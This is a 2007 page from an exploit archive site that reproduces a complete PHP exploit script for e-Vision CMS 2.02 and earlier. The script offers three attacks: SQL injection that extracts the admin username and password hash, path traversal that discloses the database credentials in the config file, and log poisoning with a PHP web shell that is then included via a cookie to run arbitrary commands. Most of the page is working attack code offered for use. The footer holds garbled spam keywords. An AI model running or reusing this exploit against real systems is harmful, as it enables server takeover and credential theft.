about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , e-Vision CMS <= 2.02 SQL Injection/Remote Code Execution Exploit




2007-06-09 e-Vision CMS <= 2.02 SQL Injection/Remote Code Execution Exploit
Rated as : Moderate Risk

#!/usr/bin/php -q -d short_open_tag=on
<?php

/*

Explanation:

Bug #1 (admin/show_img.php):

#################
#
#	<?php
#
#	$fp = fopen($_GET['img'], "r");
#	$img = fread($fp, filesize($_GET['img']));
#	fclose($fp);
#
#	header("Content-type: ".$_GET['type']);
#	echo $img;
#
#	?>
#
#################

...need i say more?



Bug #2 (admin/functions.php):

#################
#
#	if ( isset($_COOKIE['adminlang']) ) { $language_selector =
$_COOKIE['adminlang']; }
#	else { $language_selector = "en"; }
#	include("lang/".$language_selector.".php");
#
#################

...speaks for it self really.



Bug #3 ();

#################
#
#	$sql = "SELECT `style_css` FROM `templates` WHERE
`id`='".$_GET['template']."' AND `show`='Y' AND
`trash`='N'";
#	$result = mysql_query($sql) or die(mysql_error());
#	$row = mysql_fetch_array($result);
#	$css .= $row['style_css'];
#
#################

...again appauling!

*/

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

if ($argc<4) {
print
"-------------------------------------------------------------------------rn";
print "    e-Vision CMS <= 2.02 SQL Injection/Remote Code
Execution Exploitrn";
print
"-------------------------------------------------------------------------rn";
print "Usage: w4ck1ng_evision.php [OPTION] [HOST] [PATH] ([USER]
[PASS] [COMMAND])rnrn";
print "[OPTION]  = 0 = SQL Injection (Admin user & hash
retrieval)rn";
print "            1 = Config File Disclosure (Database user & pass
retrieval)rn";
print "            2 = Remote Code Executionrn";
print "[HOST] 	  = Target server's hostname or ip addressrn";
print "[PATH] 	  = Path where e-Vision CMS is locatedrn";
print "[COMMAND] = Command to executernrn";
print "e.g. w4ck1ng_evision.php 0 victim.com /rn";
print "     w4ck1ng_evision.php 1 victim.com /rn";
print "     w4ck1ng_evision.php 2 victim.com / username password
"ls -lia"rn";
print
"-------------------------------------------------------------------------rn";
print "            		 http://www.w4ck1ng.comrn";
print "            		        ...Silentzrn";
print
"-------------------------------------------------------------------------rn";
die;
}

//Props to rgod for the following functions

$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to
".$parts[0].":".$parts[1]." proxy...rn";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or
(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

function make_seed()
{
   list($usec, $sec) = explode(' ', microtime());
   return (float) $sec + ((float) $usec * 100000);
}

$exploit = $argv[1];
$host = $argv[2];
$path = $argv[3];
$cmd  = $argv[4];
$cmd  = urlencode($cmd);
$port=80;$proxy="";

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo
'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

function head(){

	print
"-------------------------------------------------------------------------rn";
	print "    e-Vision CMS <= 2.02 SQL Injection/Remote Code
Execution Exploitrn";
	print
"-------------------------------------------------------------------------rn";

		}

function footer(){

	print
"-------------------------------------------------------------------------rn";
	print "            		 http://www.w4ck1ng.comrn";
	print "            		        ...Silentzrn";
	print
"-------------------------------------------------------------------------rn";
		}

if ($exploit==0){

    head();
   
    $sql = "-999' UNION SELECT
CONCAT(CHAR(85),CHAR(115),CHAR(101),CHAR(114),CHAR(110),CHAR(97),CHAR(109),CHAR(101),CHAR(61),username,CHAR(58),CHAR(58),CHAR(72),CHAR(97),CHAR(115),CHAR(104),CHAR(61),pass)
FROM users WHERE idusers=1 /*";
    $sql = urlencode($sql);
    $packet ="GET " . $path . "style.php?template=" .
$sql . " HTTP/1.1rn";
    $packet.="Host: ".$host."rn";
    $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows
NT 5.1; .NET CLR 2.0.50727;)rn";
    $packet.="Connection: Closernrn";
    sendpacketii($packet);

    if (strstr($html,"Username="))
     {
       $temp=explode("::Hash=",$html);
       $temp2=explode("Username=",$temp[0]);

	    echo "[+] Admin User: " . $temp2[1] . "n";

       $temp=explode("Username=",$html);
       $temp2=explode("::Hash=",$temp[1]);

	    echo "[+] Admin Hash: " . $temp2[1] . "rn";

	footer();
       die;
     }

else{die(); exit();}}

if($exploit==1){

    $sploit = "admin/show_img.php?img=../vars.php";
    $packet ="GET " . $path . $sploit . "
HTTP/1.1rn";
    $packet.="Host: " . $host . "rn";
    $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows
NT 5.1; .NET CLR 2.0.50727;)rn";
    $packet.="Connection: Closernrn";
    sendpacketii($packet);

    if (strstr($html,"<?"))
     {

    	$temp = explode("$db_user = "",$html);
    	$temp2 = explode("";",$temp[1]);
    		$username = $temp2[0];

   	$temp = explode("$db_pass = "",$html);
   	$temp2 = explode("";",$temp[1]);
   		$password = $temp2[0];

   	head();
   	print "[+] Database User: " . $username . "rn";
   	print "[+] Database Password: " . $password .
"rn";
    	footer();
 }

else{die(); exit();}

}

if($exploit==2){

$code="<?php echo w4ckw4ck;error_reporting(0);set_time_limit(0);if
(get_magic_quotes_gpc()){$_GET[cmd]=stripslashes($_GET[cmd]);}passthru($_GET[cmd]);die;?>";
$packet="GET " . $p . $code . " HTTP/1.0rn";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT
5.1; .NET CLR 2.0.50727;)rn";
$packet.="Host: " . $host . "rn";
$packet.="Connection: closernrn";

sendpacketii($packet);

$paths= array (
"../../../../../var/log/httpd/access_log",
"../../../../../var/log/httpd/error_log",
"../apache/logs/error.log",
"../apache/logs/access.log",
"../../apache/logs/error.log",
"../../apache/logs/access.log",
"../../../apache/logs/error.log",
"../../../apache/logs/access.log",
"../../../../apache/logs/error.log",
"../../../../apache/logs/access.log",
"../../../../../apache/logs/error.log",
"../../../../../apache/logs/access.log",
"../logs/error.log",
"../logs/access.log",
"../../logs/error.log",
"../../logs/access.log",
"../../../logs/error.log",
"../../../logs/access.log",
"../../../../logs/error.log",
"../../../../logs/access.log",
"../../../../../logs/error.log",
"../../../../../logs/access.log",
"../../../../../etc/httpd/logs/access_log",
"../../../../../etc/httpd/logs/access.log",
"../../../../../etc/httpd/logs/error_log",
"../../../../../etc/httpd/logs/error.log",
"../../../../../var/www/logs/access_log",
"../../../../../var/www/logs/access.log",
"../../../../../usr/local/apache/logs/access_log",
"../../../../../usr/local/apache/logs/access.log",
"../../../../../var/log/apache/access_log",
"../../../../../var/log/apache/access.log",
"../../../../../var/log/access_log",
"../../../../../var/www/logs/error_log",
"../../../../../var/www/logs/error.log",
"../../../../../usr/local/apache/logs/error_log",
"../../../../../usr/local/apache/logs/error.log",
"../../../../../var/log/apache/error_log",
"../../../../../var/log/apache/error.log",
"../../../../../var/log/access_log",
"../../../../../var/log/error_log"
);

for ($i=0; $i<=count($paths)-1; $i++)
{
$a=$i+2;

$packet ="GET " . $p . "admin/functions.php?cmd=" .
$cmd . " HTTP/1.1rn";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT
5.1; .NET CLR 2.0.50727;)rn";
$packet.="Host: " . $host . "rn"; 
$packet.="Cookie: adminlang=" . $paths[$i] . "%00rn";

$packet.="Connection: Closernrn";

sendpacketii($packet);

if (strstr($html,"w4ckw4ck"))
    {
     $temp=explode("w4ckw4ck",$html);
	head();
        echo $temp[1];
	footer();
	exit;
    }
}

	head();
        echo "[-] Exploit Failed...rn";
	footer();

}

?>
securitydot.net - 2007-06-09

Advertising

Copyright 2007, SecurityDot
Sat, 07 Nov 2009 18:27:05 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
A 003262 www.75sf.c www.lifezi Antisocial news for c Trisha bat a...sgalle 200+%2Fcom ww.xnxx.co fight www.batlle Wap sex.co guest book Pelayboy Acuentix ali guest book mambo Remo www.worlds in sex vi mambo Remo www.dglsqq nayagan de GET /u +www.trish CMS is Fre sex+shemal www.dy.zqw mambo%20Re Debian GNU www.adultc fanfan.92w mambo Remo xxl.tv.com sixy free carmella b www.ewenho guarddog sexi kie lo479l a...m/tmp/ sexi fat indonesine Free porn CMS is Fre joomla rem thailandma mambo Remo t-vip.cn hot six